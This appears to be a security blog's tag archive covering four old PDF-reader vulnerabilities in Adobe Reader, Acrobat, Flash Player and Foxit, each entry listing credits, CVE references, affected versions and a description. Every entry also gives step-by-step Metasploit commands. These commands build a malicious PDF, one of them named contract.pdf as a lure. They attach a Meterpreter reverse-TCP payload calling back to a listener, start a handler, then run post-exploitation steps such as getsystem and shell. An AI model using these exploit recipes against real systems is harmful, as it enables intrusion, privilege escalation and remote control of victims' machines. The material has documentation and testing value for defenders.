Tag Archives: PDF

CVE-2010-3654 : Adobe Flash Player Button Remote Code Execution

Exploits, Metasploit, ,

PoC provided by :

Unknown
Haifei Li
jduck

Reference(s) :

CVE-2010-3654
APSA10-05

Affected version(s) :

Adobe Flash Player 10.1.85.3 and earlier versions for Windows, Macintosh, Linux and Solaris operating systems
Adobe Flash Player 10.1.95.2 and earlier for Android
Adobe Reader 9.4 and earlier 9.x versions for Windows, Macintosh and UNIX*
Adobe Acrobat 9.4 and earlier 9.x versions for Windows and Macintosh

Tested on Windows XP SP3 with :

Acrobat Reader 9.4.0
Flash Player 10,0,42,34

Description :

This module exploits a vulnerability in the handling of certain SWF movies within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number.

Commands :

use exploit/windows/fileformat/adobe_flashpl­ayer_button
set FILENAME contract.pdf
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
getuid
getsystem
shell

EDB-ID-15532 : Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

Exploits, Metasploit,

Timeline :

Vulnerability reported to vendor by offsec before the public release on Exploit-DB
Vendor released new version the 2010-09-29
dookie & Sud0 exploit release on Exploit-DB the 2010-11-13
Metasploit exploit released the 2010-11-22

PoC provided by :

dookie
Sud0
corelanc0d3r
jduck

Reference(s) :

EDB-ID-15532

Affected version(s) :

Foxit PDF Reader prior to version 4.2.0.0928

Tested on Windows 7 Integral with :

Foxit PDF Reader 4.1.1.0805

Description :

This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript.

Commands :

use exploit/windows/fileformat/foxit_title_b­of
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sysinfo
getuid

CVE-2008-2992 : Adobe Acrobat util.printf Buffer Overflow

Exploits, Metasploit, ,

Timeline :

Vulnerability reported by Peter Vreugdenhil to ZDI
Vulnerability reported from ZDI to the vendor the 2008-01-21
Coordinated public release the 2008-11-04
Milw0rm PoC provided by Debasis Mohanty the 2008-11-05
Metasploit PoC provided by Mario Ceballos the 2008-12-03

    PoC provided by :

MC
Didier Stevens

    Reference(s) :

CVE-2008-2992

    Affected version(s) :

Adobe Reader and Adobe Acrobat Professional prior to 8.1.3

    Tested on Windows XP SP3 with :

    Adobe Reader 8.1.2

    Description :

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional prior to 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf entry, an attacker may be able to execute arbitrary code

    Commands :

use exploit/windows/fileformat/adobe_utilpri­ntf
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig

CVE-2007-5659 : Adobe Acrobat Collab.collectEmailInfo Buffer Overflow

Exploits, Metasploit, ,

Timeline :

Vulnerability reported by Greg MacManus to IDefense Labs
Vulnerability reported from IDefense Labs to the vendor the 2007-10-10
Adobe release version 8.1.2 the 2008-02-06
Exploit discovered in the wild the 2008-02-08
Public disclosure the 2008-02-08
Metasploit PoC provided by MC the 2009-03-28

    PoC provided by :

MC
Didier Stevens

    Reference(s) :

CVE-2007-5659
EDB-ID-11987

    Affected version(s) :

Adobe Reader and Adobe Acrobat Professional 8.1.1

    Tested on Windows XP SP3 with :

    Adobe Reader 8.1.1

    Description :

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1. By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call, an attacker may be able to execute arbitrary code.

    Commands :

use exploit/windows/fileformat/adobe_collect­emailinfo
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig